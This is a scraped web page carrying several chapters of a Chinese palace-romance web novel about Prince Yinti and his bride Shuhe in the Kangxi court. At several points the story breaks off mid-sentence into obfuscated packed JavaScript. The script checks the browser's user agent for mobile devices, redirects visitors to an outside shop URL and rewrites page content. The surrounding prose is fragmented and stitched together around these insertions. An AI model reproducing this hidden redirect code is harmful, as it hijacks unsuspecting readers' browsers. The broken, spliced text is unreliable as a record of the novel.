最后还是舒禾撑不下去点了头,而见到舒禾点头,胤褆着实是松了一口气。 倒不是说他着急什么的,而是刚才那个俯身对视的姿势着实废腰,维持了那么久的那个姿势,要是舒禾再不点头,他腰就要废了! 现下舒禾点了头,胤褆回想着额娘特意派过来的人的讲解,抬手按在舒禾肩上微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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抬手捏了捏胤褆的脸,小声提醒道:“一会要去给皇阿玛、太皇太后、皇太后和母妃请安,再睡,就要迟到了。” 没反应过来还以为是去上书房的胤褆,毫不在意的说道:“那就迟到,等等……皇阿玛!” 看着从床上跳起来、急急忙忙捞摸衣服的胤褆,舒禾抽搐着嘴角也起了床。 外边守着的人听到里面传来动静,一溜捧着洗漱用品和穿戴服饰的宫女就走了进来,秋雨几个赫然夹杂其中。 秋雨和舒禾对了个眼神,秋雨了然的领着带过来的其他七个站到了舒禾身后。 自家团队安排妥当了,舒禾看着着急忙慌穿衣服但是越穿越乱的胤褆,走过去接手了他的工作。 一边帮他穿朝服一边安抚道:“不急,时间还早,离皇阿玛下朝还有好一会呢。” “嗯嗯,爷不急,爷自己穿,舒禾你也去穿你的朝服吧,要不然一会来不及吃饭了。” 胤褆敢说,舒禾就敢应,干脆利落的转身去收拾自己了。 10. 无女人的后院 梳妆打扮一番,又穿上皇子福晋服制,简单解决了早餐,和胤褆走出家门,跟在两位督办大婚事宜内务府管领之妻身后。 依次拜见了皇上、皇太后送了开箱礼,又收了一大堆赏赐,到惠妃宫里时,两人都累得够呛。 然而即使到了这里,舒禾还是不敢放松,深吸一口气,看了一眼等她同行的胤褆,微微舒缓了一下心神,抬步就走了进去。 端坐于首座的惠妃听到他们两个来了,挥了挥手就让宫人直接带他们过来了。 舒禾这一早上的行程她是知道的,光是听着就累得够呛,她无意与舒禾为难。 在这后宫中,身为婆媳的她和舒禾天然就是同一阵营,胤褆作为第一个成亲的皇阿哥,不用想都知道有多少宫妃等着看她和舒禾闹起来,好嘲笑她呢。 为难己方助长她人什么的,惠妃自认干不出来。 等舒禾和胤褆并肩走进来后,象征性的说了两句场面话,又喝了舒禾敬的茶,就摆摆手示意他们可以走了。 再不走,她害怕被她那娶了福晋忘了额娘的儿子气死,她喝舒禾敬的茶时,那大眼睛瞪的。 咋地,她还能当众打翻茶盏拼个两败俱伤,就为了为难他福晋? 混球玩意,越大越烦人。 “啊切——啊切——” 听着身边不停断的打喷嚏声,舒禾不动声色得往一边挪了一些,才担心的问道:“爷,要叫太医吗?” “不……啊切,不用,还有,不要叫……啊切……爷,叫保清!” 见胤褆都这样了还不忘强调称呼,舒禾是真的相信他没有给她下圈,而是想要她叫他的乳名了。 但是在外边叫皇子乳名,到底是不合规矩,如果有心人作祟,利用这一点,不光能扣她一个没规矩的名头,严重点波及胤褆也不是不可能。 舒禾想了想,和胤褆打商量,“保清,爷,以后在家里叫你名字,在外边叫你爷怎么样?” “行吧,啊切,”说话间胤褆没忍住又打了个喷嚏,面对舒禾‘你真没事吧’的眼神,强行挽尊道:“爷没事,爷现在这样,一定是太子那个卑鄙小人在背后骂爷!” 都这样了还不忘攀扯一下太子,这下舒禾是真的相信他没事了。 在外边晃了一圈回到南三所,两人皆是如释重负,胤褆瘫在软榻上,撑着头看向还端着仪态的舒禾,拍了拍身边的位置,发出一个“瘫了吗”邀请。 “要一起吗?” 面对胤褆的邀请,舒禾说不心动是假的,但是不行,她一会要整理嫁妆、还要了解胤褆的后院,害怕这一躺下去,就起不来了。 “不了,爷……” 看见胤褆骤然难看起来的神色,舒禾顿了顿,若无其事的换了个称呼,“保清,你后院里面的人什么时候过来拜见?” “宫女太监什么的,你还要特意见见?”胤褆不解的歪了歪头。 “不是,是你的那些格格……” “格格?我哪来的格格?咱们两个刚成亲一天,你都没怀孕哪来的格格?” 听君一席话,真是恨不得把君的嘴给撕了,舒禾面无表情地看着胤褆,严重怀疑他在这消遣她。 “别开玩笑,我说的格格,是指你的那些女人。” “没有,”胤褆说完见舒禾满脸的不相信,不由得急了,“真的!额娘赐的人爷不喜欢,都没要,皇阿玛倒是想直接给我塞人,倒是爷让额娘帮我回了,所以爷后院除了你,没其他人!” 她两个哥哥都有好几个侍妾,一个皇阿哥身边却没一个人……说实话,她是不信的,但是胤褆没必要在这一点上骗她。 毕竟有没有的,一问院子里面服侍的宫女就知道了。 不知道为什么,舒禾脑海里面突然跳出昨天的猜测,昨天她猜胤褆是处,今天就得到了验证,这算不算求仁得仁? “舒禾。” “嗯?”一声委屈巴巴的叫唤将舒禾叫回了神,侧眸看向满脸暴躁外加委屈的胤褆,果断认错,“方才我不相信你,是我的错,不如我送你一样东西,你消气可好?” 胤褆抿了抿唇,想说自己没生气,又想要舒禾送他的东西,纠结该怎么说说之际,舒禾已经喊秋雨将东西带进来了。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734940|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着半人高、两臂宽,需要两个人抬着才能进来的东西,胤褆眼皮子跳了跳,一个翻身从软榻上跳下去,走到被红布裹了的物件面前。 手虚虚得放在红布上,扭头对上舒禾的视线,“爷掀了?” “掀吧。” 红布掀开,房间内响起两声惊呼,分别是方才帮忙抬物件李阔和李海的,胤褆虽说没有惊呼出声,也是当场怔愣在了原地。 半人高的木质帆船模具,散发着淡淡的桐油味,就那样摆放在房间里面,就那样待着……仿佛都能让人想象到它在海洋中遨游的模样。 舒禾静静欣赏了一会手上因大婚而做的丹蔻,觉得差不多了才走到胤褆旁边,随意看了一眼帆船模具,就将视线钉在了胤褆脸上。 “这帆船模具,保清可还满意?” “……满意,只是你这……” 胤褆低头又看了一眼才把后半句话说出来,“你这是怎么带进来的?” 听到胤褆的问题,舒禾并没有第一时间回话,而是给了秋雨一个眼神,等秋雨带着李阔和李海离开后,牵着胤褆走到软榻上坐下,方才回答。 “自然是放进嫁妆里面带进来的。” “内务府就不管你?”他依稀记得,这些不在规制内东西,是内务府要管的。 “嫁妆一应物件,并不归内务府管。” 闻言,胤褆想都没想就脱口而出,“那要是带点毒药进来,岂不是能直接把爷杀了!” “……思路清奇。” “上书房的先生也经常这么夸爷。” 舒禾抖了抖眉毛,面色古怪的看着胤褆,“你觉得这是夸?” 胤褆度过刚才的震惊后,这时候已经完全松泛下来,懒洋洋的斜靠在软榻边上,点了点头。 “思路清奇怎么就不是夸了,要是天下人思路都一样,那岂不是十分无趣? 在爷眼里面,和别人不一样,就是对爷最大的肯定。” 他胤褆,做就做那最不一样的一个。 听了胤褆的话,舒禾眼神闪了闪,她想,依照胤褆这个性子,她的计划或许可以提前了。 11. 送礼 手上突然传来一股力道将她朝一侧拉去,舒禾条件反射想要挣扎,却在感觉到是哪一侧后骤然卸了力道。 就那样顺着胤褆的动作倒在了他怀里,手撑着胤褆的胸膛,居高临下地看着胤褆的脸。 因着这么个动作,房间内的气氛一时间有些凝滞,并慢慢朝暧昧的氛围过度。 两人之间的越来近、越来越近…… 眼瞅着就要亲上之际,外边传来了敲门声,瞬间被惊醒的两人慌里慌张得起身整理衣物,端坐在软榻两头,仿佛这样就能当做方才什么都没有发生过一样。 “爷,福晋,太子和三到十七位皇阿哥们来了,说要当面认认大嫂,以免以后见面不相识。” 听完李阔的汇报后,胤褆磨了磨牙,从牙缝里面挤出两个字:“太子!” 见胤褆只留意到太子两个字,舒禾有些疑惑的歪了歪头,不是说还有其他几个皇阿哥嘛,怎么落到胤褆眼里面就只剩太子了? “我就知道太子这家伙只会找我的麻烦,舒禾,你一会跟着我,看我替你收拾他……” 舒禾抽搐着嘴角打断胤褆的话,“我觉得,他们再怎么也不至于为难我一个女流之辈。” 而且什么叫替她收拾,这几位皇阿哥不对付的就是他胤褆,如果没有胤褆,她根本就不会遇到今天这么一出。 这一刻,舒禾前所未有的清醒。 胤褆并没有留意到舒禾眼里面若有若无的嫌弃,若有所思的点了点头,“也是,虽然太子人有点烦,但是这么多年的教养也不会允许他欺负你。” 见胤褆摇头晃脑的说完就不动了,舒禾有些不解的拧了拧眉,李阔已经说了太子等人来了,胤褆还这样坐着,是打算就这么让太子等着吗? 抱着一丝不可能,舒禾迟疑的问道:“……保清,太子他们已经来了,咱们两个再这样待着,是不是不太好?” “不请自来者,让他多等一会怎么了?” 看着胤褆理所当然的神情,舒禾脸色僵了僵,内心抓狂,却又无可奈何,只能以自己为切入点。 “可是让他们一直等着,我和你会被人说不懂待客之道的。” 他被说倒是无所谓,毕竟这些年什么话没听过,就算是传到皇阿玛耳朵里面,也不过是训几句话的事,但是…… 胤褆偏头瞅一眼细皮嫩肉的小福晋,要是舒禾听到了或者被训了,会自己哭的吧? 纠结了两秒,为了自家福晋的眼睛着想,胤褆一撩衣摆站起身,对还坐在软榻上没回神的舒禾伸出手,“啧,走吧。” “好。” 空中的手晃晃悠悠得伸过来,速度慢的可怜,胤褆不耐烦一直等着,干脆主动伸手握住了半空中的手,一把将还坐在舒禾拽起。 同时对着外边扬声道:“来人,帮爷和福晋整理着装。” 虽说两人刚从外边回来还没有换衣服,但经过刚才的坐软榻到底是将衣服弄皱了一些,不整理一下就出去,难保其他人不会多想。 一行人从外边鱼贯而入,有宫女有太监,太监们朝胤褆而去,宫女们则是朝着舒禾而去。 趁着衣服被整理的空档,舒禾对秋雨招了招手,示意她过来,耳语了两句后,秋雨行了个礼就退走了。 ‘无意’间瞥见这一幕的胤褆撇了撇嘴,心想:不想让爷听见,爷还不屑听呢。 在宫女和太监们的努力下,衣服重新恢复整洁。 专门用来待客的正堂内,已经等候多时的几个皇阿哥或坐或靠或蹲,皆已无聊到了极点。 “太子二哥,咱们还要这样等多久啊?” 胤礽歪头看向说话的胤禟,扬起一抹淡笑安抚道:“快了,老大虽然平日里和孤不对付,但有你们几个,想必也不会真的让咱们几个等太久。” 普一迈入房门的两人就听到了这么一番话,并不知道什么叫茶言茶语的胤褆只感觉一阵气恼,想上去揍太子一顿。 知道什么是茶言茶语的舒禾,闻言只想感叹一句,真是好茶啊!只是给了她家这个铁憨憨,有点浪费了。 没错,铁憨憨,胤褆现在在舒禾眼里面的形象不是英明神武,也不是俊秀多姿,而是一个听不懂各种话潜藏意思并有一套自己逻辑的铁憨憨。 “来人啊——” 身边的人突然出声,惊的舒禾立马就看了过去,唯恐胤褆一怒之下派人将胤礽赶出去,然后他们两个被康熙从紫禁城里面赶出去。 说话间,注意到舒禾担心的眼神,胤褆给了她个安心的眼神。 “给太子上茶,就上前些天皇阿玛特意给爷的君山银针。” 舒禾总感觉胤褆在‘特意’两个字上加重了读音,是她的错觉吗? 余光瞥见太子瞬间难看起来的脸色,舒禾就知道不是错觉了。 低头掩去嘴角的笑意,心想:真不愧是一家子(死对头),都知道对方最致命的弱点在哪。 “既然是皇阿玛‘特意’给大哥的,大哥还是留着自己喝吧!” “嗨,都自家兄弟,有好东西自然是要分享了。” 胤褆眼中带笑和胤礽对视片刻,突然朝外边吼道:“李海,让你上的茶呢!” “哎!来了来了,奴才参见太子、三阿哥、四阿哥……十阿哥,给各位阿哥请安,请慢用。” 茶是上来了,但是却没一个敢主动去碰的。 太子二哥和大哥针锋相对,他们几个小虾米别说喝茶了,没跑都是现在不能跑,要不然早跑了。 就在众人坐立难安、战火即将升级之际,一排宫女各自捧着一个托盘走了进来,打断了正堂内难言的气氛。 正和胤礽对视的胤褆扫了一眼领头的,见是福晋身边的人,突然就收了势,牵着舒禾走到太子面前,对着舒禾介绍道:“太子,你在外边碰见了无视就行。” 这话一出,舒禾瞬间僵住,瞥了一眼无知无觉给她挖了个坑的胤褆,恨不得跳起来打他脑袋。 强忍住打人的冲动,对着胤礽行了一礼,“妾参见太子殿下。” 胤礽闭了闭眼,好悬忍住冲胤褆翻白眼的冲动,起身对着舒禾点了点头,算作回礼。 “以后就是一家人了,大嫂不必多礼。” 听见胤礽说的不必多礼,舒禾只笑笑不说话,场面话嘛,听听就得了。 “一点小心意,还望太子不要嫌弃。” 说着对手捧托盘的秋雨招了招手,示意她将托盘放到胤礽旁边的桌子上。 胤礽垂眸扫了一眼托盘上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小声些,”一番洗漱过后,对过来帮忙梳妆的冬雪交代道:“今天不外出,梳个简单些就好。” “是。” 按照舒禾的要求,冬雪只简单的盘了一下辫,插了几个簪子上去装饰,就算是好了。 刚拿了桌上的胭脂水粉想要化妆之际,就被一只横空出现的大手领了先,冬雪看了一眼手的主子,躬着身子让出了位置。 没了拦路的,胤褆看了一眼手中的胭脂水粉,凑到鼻尖闻了闻,又有些嫌弃地挪远了些。 恰在此时,久久没有感觉到脸上动静的舒禾睁开了眼睛,“冬雪,怎么……保清?” “是爷,”胤褆点头,扬了扬手中的小盒子,笑眯眯的凑近舒禾,看着玻璃镜中舒禾未施粉黛的脸,伸手戳了戳,“爷给你梳妆,行吗?” “还是冬雪来……” 望着镜中胤褆一秒变幽怨的眼神,舒禾心累闭了闭眼,“行行行,你来。” “放心,爷一定让你的美丽加倍!” 呵呵,对于一个初次接触这些的直男,不把她化成媒婆她就谢天谢地了,美丽加倍什么的,不敢想不敢想。 12. 一笔烂账 【舒禾……啊!你你你——你被鬼吸了精气?】 听着脑海中宝石的话,还闭着眼睛的舒禾已经差不多能猜到自己现在什么样了,心下叹了一口气,睁开眼睛拨开胤褆挡在眼前的手。 深深地看了一眼镜中的‘女鬼’,又看了一眼看天看地就是不敢看她的胤褆。 从牙缝里面挤出几个字,“冬雪,备水,洗漱!” 心虚的胤褆后退几步,让开了位置,等到舒禾重新梳妆打扮好才凑上去,强装若无其事的夸舒禾今天很好看。 心气不顺的舒禾闻言,只淡淡回了句:“托爷的福。” “不敢当不敢当,呵呵——” “爷,福晋,早膳已经从御膳房拎回来了,要摆膳吗?” 御膳房到南三所的距离不短,舒禾估摸着这时的饭菜只是微微温热,再放一会说不定就凉了。 御膳好吃,不代表凉了的也好吃,思及此舒禾对李阔点了点头,“摆膳吧。” 眼见着舒禾的注意力被成功转移,胤褆不由得松了一口气,跟着舒禾离开时给李阔丢了个眼神。 大意是:好小子,回头给你升职。 见势不对立马进来的李阔低头一笑,带着主子的赞赏和升职的未来,默默退了出去,深藏功与名。 从御膳房提过来的饭菜摆满了一方桌,少说也有十七、八样两人相对而坐,自顾自的吃着。 饭后,一人捧了一杯消食的茶水坐在摇摇椅上,面容平静的说着院中杂事。 “保清,你说你后院里面没有格格也没有其他女人,那你的后院之前是谁在管着?” 后院的事…… 胤褆想了想,没想起来,索性朝外喊了一嗓子,“李空,过来。” 名叫李空的小太监一路小跑过来,“爷,有何吩咐?” “爷问你,后院的事,之前是谁管着?” 一听问的是有关后院,而且旁边还坐着福晋,李空就差不多知道这是怎么回事了。 当即也不含糊,对着胤褆和舒禾一行礼,直白道:“爷,福晋,后院的事目前由爷的奶娘管着,前院的部分事务,这位王奶娘也有所涉猎。” 李空说的部分,实则是谦虚了,这位奶娘仗着是惠妃派来的,已经将大部分事务掌管到了手中。 舒禾并不知道他得这番说辞还是谦虚过的,只知道,再怎么,前院和后院的事不能掺和,这位奶娘有点僭越了。 “保清,我想接手后院的事务……” “不是还有前院的部分事务?” 舒禾愣了一下,只推说道:“管着后院的同时管着前院不太好。” “一个奶娘都能管,你怎么就不能管?”胤褆说完不等舒禾反驳,直接对着李空大手一挥吩咐道:“去,将王奶娘处的账本、库房钥匙、人员信息等,都拿来交给福晋。” 舒禾:……你个铁憨憨是真不怕被架空啊! 不同于舒禾无语中掺杂着丝丝感动,李空听到胤褆的话,心里面纯纯的激动。 那位李奶娘不止一次在领月俸的时候刁难过他们几个,现在王奶娘有点管事的权利被爷三言两语定给了福晋,想想都觉得解气。 李空干劲十足的应了一声后,想到什么,又朝胤褆道:“爷,要是王奶娘不给或者干脆拖着怎么办?” “她敢!” 胤褆下意识斥道,旋即又觉得李空说的不无道理,福晋初来乍到,难保底下的人认不清身份。 想了想,又将李阔给喊了过来,“你带五个人和李空一起,务必在正午之前,将账本什么的带来交给福晋。” “是!” 管家权在胤褆的全力支持下,就这么和平的过渡了过来。 下午,打发了胤褆去前院后,舒禾带着宝石和擅算账的秋水就去了临时腾出来的书房。 书房内,胤褆派人拿过来的账本堆积成了一座小山,舒禾光是看着都感觉头疼。 随手拿了一本翻着,又朝跟着进来的秋水点了点头,示意她可以开始汇报了。 “奴婢昨天带着嫁妆单子和秋雨她们几个,一起盘点了一下送进来的嫁妆,并没有什么差错,只是有些大首饰包装不知道怎么开了,上面的连接处也有了缝隙。” “不知道怎么开了……”重复了一遍这几个字后,舒禾哼笑一声,“看来这南三所内的老鼠不少,继续吧。” “是,您当初专门带进来的东西,都……” 与秋水盘点了半个时辰嫁妆的相关问题,盘点完,舒禾将秋水打发出去后,就对她的万能宝石招了招手,对着一堆烂账本做了个请的手势,表示宝石可以开始工作了。 宝石无奈的叹了一口气,【舒禾啊,你这可真是一分钱都不白花。】 【哼哼,这算账服务花了我一千两金子,换算成银子就是一万两,让你算些账怎么了?怎么了?】 舒禾当仁不让在脑海中撅了回去,对上宝石变得幽怨的眼神,想到这么多年的情谊,还是出声安慰了两句。 “你想啊,我买得是商城里面的服务,你只是充当一个转换中心,实际上这些账并不用你算,这样想,是不是好过一点?” 【……我真是谢谢你把我说成一个转换中心。】 宝石翻了个白眼,愤愤地投入到了工作中。 看着上下忙活,到处飞的宝石,舒.无良老板. 禾抿了一口茶水,快乐得眯起了眼睛,然而这份快乐只持续到了宝石给出这些账本的结果。 “咳咳咳……” 一口茶水呛在喉咙里面,舒禾差点没直接晕过去,好不容易缓过来,颤颤巍巍地伸出一只手扶住桌沿,目光灼灼的盯着宝石。 “你……你刚才说的话,再说一遍。” 【哦,根据数据显示,这些账本全部都是正常的,没有错账、假账的情况。 友情提示,账上剩余银子不足三千两,而院落维持日常每天需要五百两,这代表,如何舒禾你不往里面贴银子,再过六天,账上就没钱了。】 “开玩笑的吧——” 宝石控制着身体缓缓下落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着看着,舒禾发现了不对劲,胤褆的神色一开始非常愁苦,但是不知道想到了什么,居然眼睛一亮,脸上的愁苦瞬间一扫而空。 “你放心,没钱了这事,爷明天就给你解决!咱们现在先就寝吧?” 舒禾推搡着猛地扑过来的胤褆,想问清楚他的办法是什么,熟料,话还没有说出口,就被堵住了嘴。 接下来两个时辰,舒禾除了破碎的呻吟,连句完整的话都没有说出口。 最后一次结束,舒禾瘫在床上,只感觉眼前一阵一阵的发黑, 与她形成鲜明对比的是胤褆,这家伙不仅一点事都没有,还神采奕奕的,那模样,看上去就还能再战。 被抱着洗澡时,舒禾脑海中一直反复回荡着一句话:只有累死的牛,没有耕坏的田……耕坏的田…… 她现在就想知道这是谁说的话,顺便问问,如果没有耕坏的田,她这样算什么,被人采阴补阳了吗? 13. 归宁 因着前一天晚上的胡作非为,等到舒禾醒来已经日上三竿了。 捂着额头坐起身环顾一圈,很好,房间里面一个人都没有,身边的位置是凉的,说明胤褆早就起床了。 由此,舒禾更认定了自己被采阴补阳了。 清了清嗓子,扬声道:“秋雨。” “格……福晋,奴婢在。” 秋雨推门而入,来到舒禾身边行了个礼,旋即站直身子等着舒禾接下来的吩咐。 “让外边候着的人进来,我要洗漱,还有,爷去哪了?” 闻言,秋雨先是不慌不忙的拍了拍手,示意外边守着的人可以进来了,才一边扶舒禾一身一边回答下一个问题。 “爷大早上的就出去了,说是去解决问题。” 解决问题?那就是解决钱的问题去了。 知道胤褆干什么去了,舒禾算是彻底放下心了。 知道解决问题好啊,解决了就不用动用她的嫁妆去贴补胤褆了。 可别说什么嫁妆是女子的私产了,就问古往今来,哪个不是夫妻一荣共荣一损共损的,古代没法子离婚,如果夫家落魄了,嫁妆能不能保住另说,单说能保住,你自己吃香的喝辣的,让夫家吃土,他们就该谋划着怎么害人性命、侵吞财产了。 是以,舒禾衷心的祝愿胤褆一路顺利,带着大把的银票回来。 洗漱更衣后,舒禾刚坐下准备吃饭,就听门被砰的一声踹开了,紧随其后的是李阔一叠声“爷小心点,慢点,别摔了”的预警音。 “舒禾,看!这是什么!” 几张银票被胤褆拍在桌上,舒禾拿起来一看,嚯,一溜的一万两,舒禾又数了一下,一共八张,这说明现在她手里捏了八万两。 虽然无论和她嫁妆里面陪嫁的银子,还是手里面经营铺子的流水都没法比,但是这也不是胤褆一个光头阿哥能在一个上午时间就弄到得数目。 舒禾按住跳动的眉心,强压下心里面的不安,扭头对秋雨道:“清场。” “是。” 一分钟后,房间里面打扇、弄香、夹菜的宫女皆被带了下去,门也被最后一个出去的宫女给顺手带上了。 房间里面只余两人后,舒禾扭头看向身侧的胤褆,肃着一张脸问道:“保清,你告诉我,这些钱是额娘给你的吗?” “额娘?”胤褆轻笑着摇了摇头,以调侃的语气说道:“额娘哪有那么多钱,这些啊,是明珠给爷的。” “明珠?” “嗯哼,要我说啊,这明珠太贼了,就给这么点子钱就想投到我门下,也不想想,爷一个皇阿哥,凭什么为了这么一点钱就收下他。” 胤褆说完,一脸的不以为意,拿起筷子夹了块鱼肉送到嘴里面,待到品出今天的鱼肉不错,想和舒禾分享时,才注意到舒禾此刻脸色难看的吓人。 “舒禾,你……” 舒禾不待胤褆说完,就打断了他的话,并将手中几张捏皱的银票拍到了胤褆胸口。 “这些银票送还回去给明珠,院里面的开支先从我这边出,保准不会乱起来。” 说这话时,舒禾已经做好了动用嫁妆的准备,孰料,某个不开窍的还捏着银票一脸茫然的问道:“为什么要还回去啊,这不是明珠孝敬爷的吗?” 舒禾深吸一口气,提前给胤褆打了针预防针,“爷,接下来我说话不好听……” “没事,爷不往心里面去就是。” “不,请你千万往心里面去!” “呃……”胤褆愣了愣,万分不解的看着舒禾,嘴上却还是应道:“行,那听你的。” 接下来,舒禾肃着就开讲了,“爷?你知道你现在只是个光头阿哥吗?” “知道啊,”胤褆不明所以的扬了扬下巴,“不过舒禾你放心,皇阿玛不会一直让爷是个光头阿哥的,等皇阿玛让爷入朝后,爷一定会凭自身本事,给你和额娘挣个好前程。” 见胤褆三句话不离自己,又想到婚前的各种互送礼物,舒禾的脸色缓了缓,再开口时,语气缓和不少。 “那爷应该明白,明珠给你这些钱,是因为他想从你身上得到些什么,你可以想想,如果他得不到想要的东西,会不会将爷拆开了炸出油水来……” 胤褆一拍桌子,满脸的怒气,“他敢!一个奴才,爷肯收他的钱,都是给他面子!” “可是保清,奴才也是人,他们也有私心。” 闻言,胤褆脸上的怒气仿佛被针戳破了一样,转眼间消失不见,反倒是多了几分外强中干的神色,“那就看他敢不敢放出自己的私心好了!” “今日得之,后必偿之,一会,你就派人将这些银票送还给明珠。” 胤褆不舍的看了一眼手里面的银票,眼里面满是纠结,“可是,咱们不是没钱了吗?” 舒禾抿了一口早就冷在一旁的汤,面无表情的纠正道:“是你没钱,不是我没钱。” “啊?哦,意思是说,我以后就要靠你吃饭了呗?” 就在舒禾以为胤褆会大男子主义发作,表明自己坚决不吃软饭时,胤褆一脸轻松的点了点头,“靠着福晋吃饭也不错,兄弟几个里面,我估摸着会是唯一一个,嘿嘿——” “呵呵,你开心就好,吃饭——吃饭。” 这清奇的脑回路,舒禾不知道该说些什么好,只能招呼胤褆赶紧吃饭,好堵住他的那张嘴。 只是今天明珠主动送钱这一出,到底是引起了舒禾的警惕心。 昨天她才和胤褆说了没钱,今天明珠就主动来送钱了,这速度,放到现代,那也是一等一的快,更何况古代了。 这说明什么?这说明胤褆这院子里面有其他人安插的人,而且还不少,估摸着和筛子比,也就差了几个眼。 差的这几个眼还是因为秋雨是她带来的人,她能保证她们没被其他人收买,而且只忠于她。 饭后,舒禾盘着一块玉佩,斟酌着开口,“爷,我想……” “保清,叫爷保清。” “保清,我想见见院里面的宫女和太监,顺便重新安排一下他们干的事。” 胤褆想了想问道:“是所有吗?” “嗯,所有。” “行,”胤褆点了点头,扭头就喊:“李阔,叫所有人到正院书房前集合,爷要训话。” “不是我……”找他们吗? “你初来乍到,先是捏了管家权,后又召集前后两院的奴才训话,虽说是嫡福晋分内之事,但传到外边,难保不会传出些什么难听的,用爷的名头,能省去不少麻烦。” 害怕舒禾不信,胤褆拍着胸膛保证道:“爷在皇宫里面待了这么多年,那些女人家的手段,不知道见了多少,信爷,保你无事。” 听了胤褆的解释,舒禾勾唇一笑,诚心诚意的道了声谢:“保清,谢谢。” “咳,光是嘴头上道谢多不实诚啊。” 这声音,怕是唯恐她听不见吧? 睨了一眼探头观察她表情的人,无奈问道:“那不知英明神武的爷,想让我怎么感谢他?” “你那英明神武的爷,也不要多,一个吻总得有吧?” “德行!”舒禾抬手点了一下胤褆的额头,凑过去在他唇上亲了一口,又快速退开用手帕擦了擦嘴,向还没反应过来的胤褆歪头一笑,“好了。” 胤褆反应过来后,拉住舒禾还在擦嘴的手,将人扯到怀里面,按着腰就吻了下去。 一吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734943|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕,迎着舒禾嗔怪的目光,方才解释道:“亲完之后,你立马擦了嘴,所以不算,爷要重亲。” “哼,诡辩。” “爷,福晋,人已经齐了,您看您什么去?” “现在!” 胤褆回完李阔后,抱着舒禾毫不费力的站起身,将舒禾放好,帮着她整理了下微乱的衣服,打量了两眼,满意的点点头。 笑着伸出左手,“走吧,我的福晋。” 舒禾抬手将手搭在胤褆手上,笑着点了点头,“走吧,我的夫君。” 话音落地的瞬间,刚才还绷着的两人瞬间笑场。 在胤褆的陪同下,舒禾待在书房内将院里面的所有宫女太监的名字和擅长什么认了个齐全,纯属于路上碰见了她都认不出来谁是谁,但是听到名字会有一种恍惚感。 并且严格来说,也不是她认,而是人才管理系统认,现场有的,有一个算一个,都在系统内部榜上有名。 一道只有舒禾和宝石能看见的科技感光屏横在半空中,上面赫然是所有人的忠诚度排行。 眼神在后来花费了一千两金子开通的忠诚度上扫过,再结合前面各自上报的各项技能,对于这些人要怎么安排,舒禾心里面已经有了数。 平铺好一张纸,将对外边那些人安排一一写下后,抽出写好的纸张递给候在一旁的秋霞,“去,把这张纸给爷。” “是,福晋。” 目送秋霞离开后,舒禾活动了一下酸软的手腕,瞥一眼瘫在桌上的宝石,纳闷的问道,【你这是被抽了骨头?】 闻言,宝石幽怨看着舒禾,【是啊,半夜梦见被抽了骨头,一觉睡醒,直接幻痛了。】 【你就扯吧你。】 【见色忘友,哼,我要离家出走!】 宝石撇撇嘴,丢下这么一句话后就飞走了。 徒留舒禾抽搐着嘴角在心里面刷屏国骂,什么叫她见色忘友,宝石这个家伙,不会用词瞎用! 讲道理,一开始她是不想卷入皇家纷争,也不想嫁给胤褆的好吗? 是宝石说她必须嫁给胤褆,不能改变既定的命运什么的,她才认命没有瞎折腾不嫁,现在倒变成她见色忘友了。 这可真是给她开了眼…… “舒禾,舒禾?舒禾!想什么呢,马车到尚书府了。” “啊!那我额娘和阿玛岂不是就等在外边,咱们快下车吧!”说着舒禾就起身往外走。 “好好好,你别急,我扶着你。” 见状,胤褆是半点不敢耽误,护着舒禾就下了车。 不提科尔坤等人看到先下车的是舒禾有多惊讶,下车的小夫妻却是十分适应。 经过九天相处,已经养成了不少习惯的舒禾拉住胤褆垂在身侧的手就往苏晚清身边走去。 两人移动,瞬间惊醒了呆住的众人,连忙跪下行礼,“微臣/奴婢参见大阿哥,参见大福晋。” “免礼,快快请起。” 胤褆说完,忘了一眼抛夫奔母的福晋,转而将半起身的岳父扶了起来,一路和科尔坤说说笑笑的进了府。 舒禾则是带着额娘落后一些,到了转弯处,直接跟着额娘去了后院。 胤褆跟着科尔坤去了待客的大堂,被迎着坐上首座的同时,就想找舒禾和他一同就坐。 然而找了一圈,刚才还在的福晋此刻已经没了踪影。 